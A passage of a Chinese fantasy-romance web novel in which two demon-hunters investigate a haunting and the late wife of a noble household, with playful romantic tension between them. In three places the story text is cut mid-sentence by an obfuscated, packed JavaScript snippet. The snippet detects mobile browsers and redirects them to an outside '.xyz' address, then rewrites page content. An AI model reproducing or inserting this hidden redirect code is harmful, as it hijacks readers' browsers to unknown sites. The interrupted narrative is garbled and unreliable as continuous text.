他整个人都快都成了筛糠,说到最后语气染上了哭腔,把在场的丫鬟们吓得花容失色,缩着肩膀抱作一团。 冯力扯起苍白的唇角一笑,却不想这一用力,竟把脸颊肌肉撕开了道大口子! 苍白的肉翻了出来,却滴血未见。在场众人看见这一场景,脑子“轰”的都麻住了。 下一刻,尖叫声响彻整个潘府! 带刀侍卫吓得冷汗都淌湿了后背,青筋毕露的手颤抖得快要拿不住刀,咬牙道:“杀了这不人不鬼的东西!杀了他!杀了他!!” 锋利的刀锋映着火光,直杀向冯力的脖颈与胸腹! 刀身没入皮肉,闷响传来,冯力的身躯笨拙地晃动了一下,宛如纸糊般僵硬的脸上却没有显露出一点痛苦之色。 他抬起头来,粗厚的手掌握住刀身,用力后撤,竟就此将几柄长刀拔了出来。 这一下,仿佛是用尽了他浑身的力气。他就像是一团腐烂的肉一般,身体没了支撑,软塌塌地倒在了湖边碎石径。 明亮的火光之下,他的胸腹与脖颈都被戳出了大洞,却不见鲜血流出。 有侍卫大着胆子上前去,掀开他的粗布衣领仔细看。黑洞洞的伤口上反射着白光,苍白的皮肤上布满了细小的刀片,除此之外,竟还生出了细密的尸斑! 潘府管事祁仕业眯眼一瞧,吓得心跳都骤停了,颤声道:“快、快去请二爷!” - 直棂窗推开一条缝隙,窗外渐渐天亮,清晨的风带着清冽的冷意,吹得玉兰花枝簌簌作响。 绵密的雨飒飒淋在楼下的茶棚,发出沙沙一阵响声。客栈后头是一条清幽狭窄的小巷,有人身披蓑衣缓步走过,身后的竹篓里是含苞待放、犹沾雨露的莲花。 叶清圆将窗棂推开,裹着雨后清新草木气息的风霎时灌满房间,让她宿醉后的头脑顿时清醒了许多。 风中带着些许潮意,水汽涌动,扑在脸上说不出的舒坦。她闭着眼深吸了一口气,心情很好地笑道:“下雨咯,一整天都不用出门啦。” 她坐在靠窗的木椅上,半侧过脸来望住他。窗外的天光冷白却模糊,让她的脸颊与脖颈显出瓷一般细腻的质感。 纤细的手腕下压着一沓符纸,皙白与明黄相衬,她腕上的珊瑚手串殷红润泽,像是一道蜿蜒的血痕。 谢尽芜垂下眼睫,眉骨处的肌肤隐隐作痒,似乎还停留着她的指尖拂过时的轻柔触感。 叶清圆将木窗半阖,避免绵密的雨珠溅湿了符纸。 随后转头看向谢尽芜,脸上带着笑:“我昨夜酒醉之后,没有失态吧?” “你对自己的酒量深浅有种莫名的自信,”谢尽芜毫不留情道,“对你而言,酒后失态都算是小事……以后还是不要在外面喝酒了。” 他抿了抿唇,补充道:“至少孤身在外的时候,不要沾酒。” 叶清圆脸上的笑意尴尬地隐去了,脸颊浮起红晕:“我昨晚做什么了吗?” 她的目光落在谢尽芜新换的衣袍上,顿时露出一副被雷劈了的表情。 指尖按在粗糙的符纸上,叶清圆震惊地想道:我不会是吐在他身上了吧? 她自己喝得烂醉,害得谢尽芜衣袍都脏污了,还要费心思地把她送回客栈,安置妥帖。 怪不得方才他连眼神接触都避过了,说话的语气也那么冷淡,他一定是对我的酒后行径感到不忍直视了吧?! 她有些崩溃:系统,系统,谢尽芜现在对我的好感值有多少? 系统冷漠装死。 完蛋了,她费了多大力气才攒出来的好感度。叶清圆心如死灰地想,这与功亏一篑也没什么差别。 谢尽芜端坐在书案旁,对她脸上变幻莫测的表情感到十分费解。 分明是她酒后失态,将他的衣衫弄得皱巴巴一团糟,连衣领都抹上了她的胭脂痕迹。 事到如今,她竟又盯着自己的衣袍目不转睛。 人在尴尬的时候,小动作就会特别的多。叶清圆的手指拨弄着明黄的符纸,很快就将边缘弄得皱巴巴的,又无意识地一点点抹平。 谢尽芜蹙眉道:“你在干什么?” “昨晚我实在是一时兴起……真是抱歉。如你所说,我的酒量太浅。”叶清圆诚恳道歉,脸颊随即浮现一层尴尬的红晕,“我也不该那样对你。抱歉,以后不会了。” “一时兴起?”谢尽芜垂眼打量她,“你以前对别人也……那样过吗?” “啊?”叶清圆被他问得一愣,竟认真回想了起来。 高考结束后她和朋友聚餐疯玩的情况也不少,散场后同学之间互相送送也是应该的,至于吐别人身上这种事,她倒是没有此类的印象。 她斟酌片刻,诚恳道:“还好吧,这没什么呀。” 谁料她话音刚落,谢尽芜的脸色立刻变了:“没什么?” 他那双殷润的眼眸瞬间变得深沉冰冷,像是雪山里的一泓冷泉。 常春藤似的缠着他的肩膀与脖颈不放,非要他抱着才肯老实。满身的酒气都往他身上扑,躺到了小舟上还不安分,又毫无防备地用手指去摸他的眉头和鼻梁。 这种事情放在任何人身上都堪称“越界”,可到头来,竟只是她口中的“这没什么”? 谢尽芜的薄唇抿起,瓷白的脸颊上很明显地染了一层怒意。 “笃”地一声,他将手中的茶盏重重搁在了桌面上。 叶清圆对他突如其来的怒气感到些许不知所措——他至于气成这样吗? 谢尽芜的心绪有些乱。 半晌后,他垂下目光,冷声开口道:“你还记得自己昨晚说了什么吗?” 叶清圆神情茫然:“不记得了。” 谢尽芜深呼一口气,口中说“罢了”,眉宇间的烦躁却始终没有消退。 叶清圆是个有事说事,绝不闷着的性格,就在她还想追问的时候,窗外被雨水淋湿的青石巷里,忽而传来一阵急促的脚步声。 一把天青色的油纸伞快速移过来,到了窗下,伞面上抬,露出一张满布沧桑的面容来。 那老人抬袖抹了一把额前的雨水,脸上尽显焦急之色:“二位,府中昨夜里出了大乱子!二位可否移步过去一趟?” - 一晚上过去,潘府的确出了大乱子。 廊下躺着两具被白布遮盖的尸体。 其中一块布已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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潘淳玉紧皱眉心,半晌后,轻启薄唇:“槐妖。” 他身后的管事祁仕业闻言抬头,又是一惊。 “槐妖?” 潘淳玉闭上双眼,颔首道:“她来的时候,漫天槐花,飘飞如雪。” ——碎雪障目,青燐挽风;婆娑花影,血染长亭。 碎雪障目,恐怕就是指雪亮的刀锋捣碎人的眼珠,塞满了眼眶。 叶清圆顿觉惊悚,浑身起了一层鸡皮疙瘩。 “潘公子,槐妖可留下什么痕迹?”她试探着开口。 潘淳玉的眉心微蹙:“不曾。” 叶清圆与谢尽芜对视一眼,心下了然。 有能耐造出这么大动静的槐妖,怎有可能被一张符纸打败? 这件事绝对没完。潘府必定还会闹出人命。 可瞧着潘淳玉此刻的状态,他像是坚信槐妖已除,一副别人说什么都听不进去的架势。 叶清圆斟酌着措辞,却不料身旁的谢尽芜淡声开口道:“外头雨大,此刻不便返回客栈。潘公子,可否允许我们暂时在府中待上片刻?” 他这一番话说得客套有礼,潘淳玉想也没想,颔首道:“二位肯留下是再好不过,潘某荣幸之至。祁叔,吩咐人上茶。二位请进花厅说话。” 叶清圆诧异极了,一双端丽的眼睛睁大,回首望着谢尽芜,极小声道:“你不是对这件事没兴趣吗?” “不必谢我。”谢尽芜同样压低了声音,低头在她耳边漫不经心笑了一声。 叶清圆只觉耳廓一热:“谁要谢你了?莫名其妙。我是怕你又在打什么坏主意。” 谢尽芜唇角微勾,越过她,径自进了花厅。 37. 听雨 侯爵府的花厅,摆设颇为气派阔气,入眼便是一架沉香木雕竹影屏风。堂内两侧置了檀木的博古架,架子上摆满各类古玩器具,翠羽繁花,颇具风雅气息。 厅堂正中是一套红木的几椅,几案上摆了青花瓷瓶,瓶内斜插一枝含苞待放的蓝紫交杂的绣球花,花瓣以蓝为底,紫色宛如浪潮一般涌上花瓣,乍一看恍然若绚烂星河。 潘淳玉刚一坐下来,就伸手抚了抚绣球花枝,也没有别的意味,仅是顺手而为。 他是武将出身似乎不该有这些拈花弄草的细腻心思。可是方才在廊下谈话的时候,他的目光几次三番落在了廊外的绣球花丛中,眼中满是掩饰不住的落寞。 叶清圆心头起疑,状似不经意地问道:“潘公子很喜欢绣球花吗?方才我见院子里也种满了绣球。” 潘淳玉回过神来,轻声笑道:“我对这些没有兴趣,纯粹是因我夫人喜爱罢了。” 原来是那位莫夫人。 叶清圆只作不知,依旧笑得明媚温和:“看来潘公子与尊夫人必定十分恩爱了。既然如此,何不请她出来,我们坐在这里一起说说话?” 潘淳玉脸上的笑意逐渐隐去了:“她……去年因病而逝。” 病逝? “抱歉。”叶清圆也收敛了笑容,“潘公子,你就当我方才什么都没说吧。” 潘淳玉很大度地一摆手:“无妨,姑娘并非有意。” 叶清圆端起茶盏,借着喝茶的功夫,与谢尽芜对视了一瞬。 潘淳玉夫人的死,果真有些蹊跷。 谢尽芜看出她的疑虑,淡声开口道:“在下斗胆问一句,尊夫人得的是什么病?” 潘淳玉抬手揉了揉眉心,叹息道:“是一种疯病。我请遍了城中所有的医师,药石罔效。” 好端端的女子,怎么会突然疯了呢? 叶清圆的神情也有些凝重:“后来呢?” “我担心她闹起来会伤到自己,就多派了丫鬟照顾她。可她整日昏睡,也不肯吃些东西。” 潘淳玉的眼神有些涣散,不像是在讲述,反倒像怀念:“去年下雪之后……将近年关的时候,她在房里昏睡了两日,便再也没有醒来。” 偌大的花厅里一时寂静,唯有外面磅礴的大雨砸在石阶上,发出震耳欲聋的声响。 天际更加阴沉了,偶有闷雷轰隆隆地响过。 昏暗的日光照不亮厅堂,周遭一派昏暗,空气潮湿得仿佛有水珠在凝结。 裹挟着雨雾潮气的风呼啸着穿堂而过,垂挂的帷幔层层鼓胀起来,冷意像是一只无形的大手,抚上了在场之人的脖颈。 管事祁仕业低着头站在他的身旁,一张布满沧桑的脸紧紧绷着。 潘淳玉垂下眼睫:“至少,她走得没什么痛苦。” 叶清圆捧着热茶,感受手心传来的阵阵暖意。 潘淳玉这一番话说得好像没有破绽,可她总觉得有种说不上来的别扭。 若真如他所言,莫夫人乃是病逝,那么,鉴花楼的众宾客又何必对这位莫夫人的事讳莫如深呢? 其次,莫夫人是得了疯病,按常理来讲,该是举止异常、行为疯癫才对,怎会整日昏睡不醒呢? 她的病症真就复杂到满城的医师都瞧不出缘由吗? 最后,被厉鬼缠身的崔老夫人,果真痊愈了吗? 潘淳玉沉默片刻,半晌后,抬起眼帘,眼里是掩盖不住的憔悴与倦意。 “她生前极爱花草,也爱念诗。我便叫人按她的心意,在府中栽满了绣球花。”他脸色虚弱,抬手一指,“这一幅字,也是她生前所写。” 叶清圆和谢尽芜转头看去,那是一笔极漂亮的簪花小楷,写的是《虞美人·听雨》,落款:“莫婉婉”。 叶清圆轻声念道:“少年听雨歌楼上,红烛昏罗帐。” “她特别喜欢雨天。每逢下雨的时候,就喜欢坐在廊檐下发怔。”潘淳玉摇头轻叹,“我怕她受了凉,就劝她回房歇息。可她不肯,我也只好在一旁陪着。没想到最后,生了病的反倒是我。” 他的语气中满是怀念之意,眼中流露的却是挥之不去的落寞与无力。 谢尽芜淡声道:“二位恩爱至此,令人欣羡。” 叶清圆一口热茶险些喷出来。 她悄悄打量谢尽芜,此人说“令人欣羡”的时候一脸严肃、正经,语气却这么淡漠,甚至称得上凉薄。 这真的没有在嘲讽吗? 幸好,潘淳玉沉浸在与莫婉婉的回忆中,并未听出他的弦外之意。 他脸上现出痛苦之色,搁下茶杯,起身道:“对不住,我现下实在疲惫不堪,恕无法再奉陪。二位于我有恩,在府中尽可随意些。我叫祁叔陪着二位,若有事可告知他去办。” “啊?”叶清圆很意外地站起来,“好,潘公子不必劳心。雨停之后我们就离开了。” 潘淳玉听罢,匆匆一颔首,竟顾不得什么礼节了,转身离开花厅。 谢尽芜的视线落在侍立在花厅一侧的祁仕业身上,淡声开口道:“祁管事,你为何有些紧张?” 祁仕业的动作有一瞬的凝滞,随即脸上挂起笑容:“担心我家少爷的身体。” 谢尽芜道:“你家少爷身体不舒服么?” 他这一句问得似乎有些多余,祁仕业也确实这么想,垂首应道:“如公子所见。” “嗯,”谢尽芜神情不变,“崔老夫人果真身体无恙吗?” 祁仕业依旧垂首:“如少爷所说,已然痊愈。” 谢尽芜目光沉静地看了他两秒,搁下茶盏:“好。祁管事,我们现在想在府里随意逛逛,可以吗?” 叶清圆睁大了双眼。 谢尽芜不是对潘府的事毫无兴趣吗?为何事态朝着不可控的方向狂奔而去了? 祁管事这次终于抬起眼,微笑道:“自然可以。只是此刻雨大,道路泥泞,二位还是招呼些,小心踩脏了靴子。” 谢尽芜极轻地哼笑了一声,起身拉住叶清圆的手腕:“走吧,我们去外面听雨。” - 雨水沿着屋檐落下来,砸在廊外的石阶上,溅起万道银白碎光。 粉白的围墙边栽了一株红山茶,枝头花叶被一场绵密的雨打落,残红满地。零落的花瓣被风扫荡着簌簌飘零四散,又被飞溅的泥土掩埋。 叶清圆站在廊下,抬眼望着密集的雨势,疑惑道:“这么大的雨,你还有心情撑着伞闲逛?” 谢尽芜撑开油纸伞。伞面红梅白雪,清瘦的梅枝在他的脸颊投下浅淡的阴影。 他站在伞下,微红的唇角有一丝不易察觉的笑意:“听雨,走吧。” 泥土与草木清新气息蒸腾的味道扑面而来,叶清圆压着满心的疑惑,提着裙角站在了他撑开的伞下。 下雨时的空气清新而冷冽,宽大的伞面遮住了她的视线,周遭的喧哗雨声如潮水般退去,唯余雨滴敲在伞面的沙沙声。 她仰起脸,看雨水在廊檐、石阶、花叶上溅起水花,出神地想:确实别有一番情致,没想到谢尽芜看似沉闷无趣,实则还挺会享受的。 两人离得近了,她又闻到他身上那股淡淡的冷香,一蓬一蓬地渡过来。 她至今说不清那是什么味道,以她大学时摆弄香水的经验而言,像是杜松,又像茶香,或许因他常年画符写字的缘故,又掺杂着似有若无的书香气。 像是雨后的森林有一阵冷风吹过,带来的自然清爽的干净气息。 谢尽芜将伞往她的方向靠了靠,身上的气息如云雾般将她笼罩在内,叶清圆鼻翼翕动,抬眼刚要笑。 却听他压低了声音,微红的唇快要贴在她的耳畔:“别笑了,这府里有妖。” 叶清圆猝不及防被他呲了一下,满心的愉悦和欢喜尚且来不及收敛。 她硬生生地忍住了笑意,抿住唇,那双明亮端丽的眼眸睁大了,水光潋滟。 谢尽芜垂下眼睫,看她有些缓慢地转换了情绪,从一开始的欢喜到一瞬的呆怔,再到此刻故作严肃的认真。 他的视线落在她那双漂亮的眼睛里,竟有些短暂的失神。 叶清圆讶异道:“你已经发现妖了?” 谢尽芜回过神来,“妖在府里。” “我知道呀,崔老夫人不就是被妖缠住了吗?”叶清圆小心地试探着,“你可以感知到那只妖具体在哪里吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445949|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢尽芜站直了身子,扭过脸去,清俊皙白的侧脸上写满了故作的冷傲:“现在还不太可以。” 叶清圆听得一头雾水:什么叫现在还不太可以?莫非这种事还要等待时机的? 她扬起脸来,神情认真地发问:“那什么时候可以呢?” 谢尽芜的视线落在墙角那株零落飞红的山茶树,很严肃地思考了两秒,回答说:“至少要在潘府里走一圈,才能发现异状所在。” “好,”叶清圆毫不犹疑地答应了,“现在走吧。” 青石地砖被雨浇湿了,颜色深得仿若青墨。叶清圆低着脑袋看路,总觉得踩在上头会不小心滑倒,于是下意识地放慢了脚步。 雨水积成一个个小水洼,她有意踮起脚尖绕过去。绕了几次颇觉有趣,谢尽芜又始终有礼,处处迁就着她,时不时缓下步伐配合她的步伐,那柄油纸伞始终稳稳当当地撑开在她的头顶。 要过月洞门,前头地砖的边缘现出一片深青,看着像是生了青苔。 叶清圆这次向旁边绕得远了些,竟一下子挪到了伞面之外,霏微的细雨立刻浇过来,连带着顺着伞沿滑落的雨滴,几乎是顷刻间淋湿了她的左肩和脖颈。 她被凉意激了一下,不由得发出小声的惊呼,慌忙扑回去要躲进伞下。却不想谢尽芜闻声同时转身,手中的油纸伞顺势就送往她的方向,两人目光相对,眼中露出惊讶,却皆已躲闪不及。 叶清圆大惊失色,眼看着就要撞在谢尽芜的身上,偏偏此刻足底一滑,竟是踩上了那块她避之不及的青苔。 “哗”的一声,雨水泼溅。伞柄晃了晃,很快又被一只修长有力的手拿稳、撑住。 谢尽芜一手持伞,另一只手稳稳托住了叶清圆的手臂,将她扶了起来。 伞面的雨水连成珠串,顺着伞沿滑落,如白雪融化,模糊了两人的面容。 叶清圆惊魂未定地喘着气,雨水打湿了她的肩颈,冰冷黏腻。她站直了身子,有些不自在地挣了挣:“好了。” 他伸过来的手掌有力而温热,握住她的手臂时像是一团火。兴许是怕她真的摔倒,他这一下使出了不少力气,握得她手臂有些疼痛。 谢尽芜居高临下地盯着她,浓秀的眉头慢慢蹙起,眼里是发自内心的震惊和疑惑:“走个路也这样莽撞,我真的好奇,你这十几年到底是怎么过来的?” 叶清圆的脸颊一下子浮出红晕,尴尬道:“这里长了青苔,肯定会滑啊。” 谢尽芜的眉心蹙得更紧了,对她的说辞感到不可思议:“走稳一些就不会了。” 说得好像他从来没有这种苦恼似的。 “谢尽芜,你要知道,这世上不是每个人都像你一般身手敏捷的。” 叶清圆抬袖拭去脖颈处的雨水,一双大而明亮的眼睛坚定地与他对视,语重心长道:“滑了一下而已,我只是犯了正常人都会犯的错误,不必苛责我。” 谢尽芜的双眼微微睁大,聚拢的眉头也不自觉地舒展开来。 她这句话说得好松弛、好漫不经心,仿佛犯错也是一件可以原谅的事。 这简直要颠覆他以往的认知,他看着叶清圆,黑而深的瞳孔,闪着不近人情的寒光,清隽的脸上显露出茫然。 人活在世上,谁不是如履薄冰?一步行差踏错,前方便有可能是万丈深渊。 不可以犯错。犯了错的人必须要接受严酷惩罚,必须用残忍的手段帮他矫正,必须要折磨到牢牢记住才对。 正如他当年那样。 怎么能像叶清圆这样随意呢? 犯了错也没关系,符纸画错一沓也无所谓,连走路都能滑倒这种蠢事也漫不经心。 谢尽芜的唇抿成一线,垂眸打量着她。 叶清圆低着头整理被雨水淋湿的衣袖,他想起来方才情急时抓住她,她的手臂软得像抹了蜜的藤蔓,脖颈与脸颊细白得晃眼,是从未吃过半点苦的模样。 一缕发丝随她的动作散落下来,被雨水黏在了脖颈,她颇有些难为情地抬手拂去。 娇养的闺阁女子,没经过半点风沙磨难。 算了,不可与她作比较。 谢尽芜撇过脸去,冷漠道:“走吧。” 38. 牵手 夏季的雨来得快去得也快,叶清圆和谢尽芜撑着伞绕过一处假山的时候,雨势便止住了。 潘府的后花园中有条抄手游廊,一路繁花开遍、竹林苍郁。七拐八绕地穿过游廊,再过一片杜鹃花圃,视线豁然开朗。 入眼是一处不小的湖泊,湖水碧蓝,倒映着雨后澄澈如洗的天幕。上下一色,清透湛然,震人心魄。 湖面莲叶被雨水冲刷成一片苍翠浓郁的绿,莲花的清香飘散在清新凛冽的风中。几个年轻的丫鬟坐在远处的木椅上,悄声说着话。仆人们拿着竹枝扎成的大扫帚,正在清扫被暴雨刮下来的花叶。 叶清圆眯起眼感受清新的凉风,不时把视线投到谢尽芜的脸上,观察着他的细微表情。 晴光泼洒,她的眼睛里闪着细碎的光芒,看人的时候目光真挚而诚恳。 谢尽芜有些不自在地掀起眼帘,沉肃道:“干吗?” “你不是说府里有妖吗?”叶清圆凑近了他身边,为免引起仆人丫鬟的注意,特意低声道,“我在通过你的表情来判断,哪里的妖气最重。” 头顶天幕湛蓝得令人心碎,谢尽芜脸上的肌肤被映照得干净清透,白雪一般。他蹙起眉,沉声道:“你的心思能不能用在正经事上?” 叶清圆迟疑道:“找出槐妖的踪迹不是正经事?” 谢尽芜被她噎了一下,没作声。 “或者……是你自己在想些别的?”叶清圆后知后觉地反应过来。 她扬起脸看他,下睫乌黑,根根分明,“谢尽芜。” 谢尽芜撇过脸去,只给她看一张线条流丽的、骄矜的侧脸:“没有。” “那好吧。”叶清圆歪着脑袋,“那你现在感受到什么了吗?妖气?” 谢尽芜轻轻摇头,还不太确定的模样:“再走走吧。” 湖边干活的仆人见了两人,都不由得惊讶地睁大了双眼,仿佛潘府后花园有客人是一件很稀奇的事情。 崔老夫人病了这么久,却也不曾听闻有人来探望她,莫非是流言甚嚣尘上的缘故? 潘府出了这等妖鬼缠身的事,众人怕沾染晦气、想要避嫌也是无可厚非的。 风中飘着莲花盛放时的清香,带着雨后温润的凉意,吹得人心头一阵沁润。 “什么声音?” 叶清圆蓦地扬起脸,睁大眼睛四处望。她小巧莹洁的下巴抬起,与脖颈拉出一道漂亮的线条,精致细腻的锁骨肌肤掩在云雾般的衣领之下,若隐若现。 谢尽芜的视线不自觉地落在她的下巴与红润的唇瓣,却始终没有往下移去半分。他微不可察地深吸一口气,撇过脸去:“又怎么了……” 话音未落,他的眼睛蓦地睁大了,嘴唇也吓得紧紧抿住。 “嘘——你听。”叶清圆满心都在寻找声音的来源,下意识地抬手捂住了他的嘴巴。 她的掌心皙白柔腻,温热地贴住了他的唇,一触即分。 女孩子家的袖笼中传来清甜的香气,像栀子,像茉莉,混着湖面莲花的清香,一蓬一蓬地晕染开来。 檐前水滴砸在石阶的清脆声响、荷叶摇摆的簌簌声、以及不远处仆人丫鬟的谈论声,此时都如潮水般退去。谢尽芜浑身僵硬地站在原地,只觉心跳如擂鼓。 “我好像听到有人在吵架,还有人在哭。”叶清圆侧耳听了片刻,眉头皱起,“发生什么了?我要去看看。” 她放下手,径自往前走了一段。鹅卵石铺就的小径从此处拐了一道弯,竟斜斜地延伸到一片竹林深处去。 雨后的地面泥泞不堪,泥点子飞溅到小径上,将玉白的颜色涂抹得不成样子。 一名丫鬟站在碎石子小径上,怀里抱着件脏兮兮的衣服。她低着脑袋,满脸委屈地哭诉着什么。而在她的身旁,竟是围了两名丫鬟。 她们的脸上满是敌视、厌恶的表情,对那丫鬟不怀好意地叱骂道:“当初是老夫人亲口发话,不许你出门一步,否则极刑伺候!我看你这是活腻味了吧?自己死还不够,非要拉着我们跟你一起?” “你明知若出了岔子,老夫人必会找我们麻烦。为何还故意这么做?我们待你不薄啊!” “就是就是!若非我们每日给你送饭,你早该饿死了!” 那丫鬟的裙角沾满了泥污,哭得鼻头红红:“对不起对不起,我真的不是有意的。方才一阵大风把我晾在竹竿上的衣服刮出来了,我心里一急,才慌忙追出来的。” “一件衣服至于吗?我们捡到了给你送回去不就行了吗?你为何非要出院门?” 丫鬟抽噎着,声如蚊讷道:“那件衣服,是夫人先前穿过的。” 话音落下,清幽阴郁的竹林中忽然一阵寂静。在场之人瞠目结舌,竟一时都忘记了说话。 过了半晌,才有人嫌弃道:“行了行了!看在你这么念旧主的份上,今儿又下了雨,这次就不为难你了。不过按照老夫人的规矩,罚跪还是少不了的。” “喏,你就去那边亭子里跪着吧,记得要跪足六个时辰。” 硕大的荷叶随风摆动,发出簌簌的声响。 叶清圆眯起眼睛眺望着远处,那苍翠浓郁的绿竹林深处,竟隐约可见廊檐的翘脚。 这个位置已经是潘府的最深处了。连丫鬟与仆役都鲜少涉足的地方,难道还有人居住在此吗? 那丫鬟口中说,衣服是“夫人”曾经穿过的。 现下可以确定的是,潘府有且仅有两位夫人,潘老夫人和已经去世的莫夫人。 崔老夫人身边的丫鬟地位不可能这么低,可以由着另外两名丫鬟随意训斥。她的院落也并不在此处,那么这里就只能是那位莫夫人的居所了。 无论是传言,还是潘淳玉本人的态度,都可以看出来他对莫夫人可谓珍爱有加。这丫鬟还是莫夫人的人,究竟是犯了什么不可饶恕的错,才被禁步在院中,一步也不得出呢? “走。”谢尽芜不知何时站在了她的身旁,“先不要打草惊蛇,府里不太对劲。” 叶清圆放轻脚步,与他一同沿着原路返回。 裹着清甜莲花香气的凉风吹过来,方才还觉得舒爽,此刻一下子就觉得冷了。 冷意从背脊一路上窜,叶清圆小声道:“潘府肯定还有事情瞒着我们。” 谢尽芜沉声道:“准确来讲,是潘淳玉。” 叶清圆琢磨出他话里有话:“你的意思是……” “你还记得那个管事说过什么吗?” 叶清圆回忆片刻,不确定地开口:“叫我们小心,不要踩脏了靴子?” 她又补充道:“小心道路泥泞。” 潘府处处铺满青砖,除了花圃,哪来的泥泞之地? “竹林。”叶清圆的脸色有几分凝重,“趁那个丫鬟不在,待会儿我们干脆从外头院墙穿进来,看看这里头究竟藏有什么玄虚。” 谢尽芜没有什么表情地“嗯”了一声。额际一缕发丝散了下来,拂在他挺直的鼻梁上。 - 潘府后宅的院墙恰好紧挨一道狭窄空寂的小巷,巷子里并无人居住,只是倚着院墙的一侧栽满了大片的芍药花。 叶清圆和谢尽芜沿着小巷往深处走。巷中依稀可见潘府内栽种的高大榕树和榉树,繁茂浓阴,遮天蔽日。 半炷香之后,空濛的雨雾散去,青翠浓绿的竹枝显露出来。 金璧城的房屋院墙,倒有些徽派建筑的特色。一眼望去,粉墙黛瓦、碧木连云,劲瘦清韵的竹枝伸展,映在雨后澄澈的天幕里,显得分外好看。 “到了,里面就是竹林。” 叶清圆从荷包里取出两张穿山透壁符:“正好。进出各用一张。” 她的指尖抵在墙壁上,垂眼凝神,就要默念口诀。 “……等等。”谢尽芜忽然出声打断她。 叶清圆抬起眼,疑惑道:“怎么了?” 谢尽芜垂眸看她,眼神有些复杂:“这张穿山透壁符,只有念出法诀者可以使用。” 叶清圆不明所以:“对呀。符纸可不就是这么用的?” “……”谢尽芜表述得很是艰难,“那我呢?” “你跟在我身后呗,我带你进去。”叶清圆与他对视了两秒,恍然大悟,“那我再给你找一张好了!” 她低着脑袋,从荷包里一大堆符纸里翻了翻,“待会我告诉你法诀,很好记的……” “咦?怎么没有了?”半晌后,叶清圆迷茫地抬起头来,“平时根本用不到这种符啊,应该还有……” 她满脸挫败地怔住了。 正因为平时根本用不到,她准备符咒的时候,才想不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445950|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来要画这种符。 这仅存的两张,还是当初在初阳镇时,她为了练手而画的。 谢尽芜浓秀的眼睫垂下:“那怎么办?” 叶清圆扬起脸,试探着问:“你打妖怪时这么厉害,身手一定也不错吧?” “不好,”谢尽芜挑起眉,一眼看穿她的心思,“这么高的墙,我可跳不过去。” 叶清圆愁闷道:“那怎么办呢?像今天这么好的机会,以后也未必有了。” 她的手指捏住那道符纸,细嫩的指尖无意识地轻轻敲着,浅红的指甲宛如花瓣。 “其实……有别的办法。”谢尽芜的目光落在那道粉墙上,低声开口道。 “嗯?”叶清圆惊讶地睁大双眼,“是什么?” 谢尽芜的眉心微蹙,颇有些难以启齿。 叶清圆眨了眨眼,很耐心地等着他开口。 谢尽芜很轻地闭了一下眼,手腕抬起,向她伸出一只手掌。 掌心朝上,指节微弯,手腕处脉络隐约可见。 叶清圆顿了一下,心中了然。当即伸出一只手来与他相握,同时抬眼笑道:“你早说啊,我还以为多大的麻烦呢。” 她笑得明媚爽朗,毫无旖旎心思,倒显得他方才的羞涩有些多余。 谢尽芜垂下眼睫。 她的手很小,很轻易地就被他包裹在手心。手背皮肤皙白滑腻,无意间蹭过他的手心,轻柔地有些发痒。 谢尽芜没有用力,只是虚虚地拢住了她的手,指腹若即若离地搭在她的手背上。 叶清圆将符纸抵在墙面,垂眸默念法诀,而后低声道:“敕!” 粉白的墙面豁然现出一个通道,她回头对谢尽芜说了句:“我们进去吧。” 两人一前一后,快步走进潘府的后院。 叶清圆回过身,眼睁睁看那道符纸燃烧成了灰烬,没有留下任何痕迹,才放心地松开了谢尽芜的手。 男性的手指比较粗糙,骨节又硬。谢尽芜习剑多年,掌心生了些薄茧。松手的一瞬间,薄茧划过她的指腹,粗硬的触感十分清晰。 谢尽芜站在她的身旁,眼眸殷润,视线落在她的脸上,却一言不发。 饶是叶清圆性格再坦荡大方,此时也觉得不好意思了。 明明两人牵手只是为了潜入潘府,查清楚莫夫人的事情。怎么还弄得怪暧昧的? 于是,为了缓解尴尬,她扯起唇角,颇为豪情地拍了拍他的肩。 同时笑了一声:“哈哈,这还是我第一次和男孩子牵手呢……” 叶清圆话音落下的一瞬间,就知道自己说错话了。 因为她看到谢尽芜的眼睛蓦地睁大,很明显地后撤了小半步,整个身体摆出一副略显抗拒的姿态。 叶清圆当时就笑不出来了。 她眼里的亮光逐渐消失,小脸上甚至有点委屈的神色。 摸个手而已,谢尽芜至于这么讨厌她吗? 昨夜她昨夜大醉一场,着实给他造成了很坏的印象,也不知道他现在对自己的好感值下降了多少。 她的唇瓣不自觉地撅了起来,生硬地补充道:“嗯……我的意思是,我们刚才那样,只是为了查清真相。所以那根本算不得牵手。” 谢尽芜的视线灼灼,落在她的面上,若有实质。 叶清圆低下头不看他,很努力地和他撇清关系:“反正牵手这种事情,应该是在花前月下、水到渠成才对。我们刚才那样……什么都不算。” 竹林里的风裹着微凉的潮意,拂起她的裙摆和衣袖,飘然如飞。 良久,头顶传来他低沉温和的声音:“为什么要说起这个?” 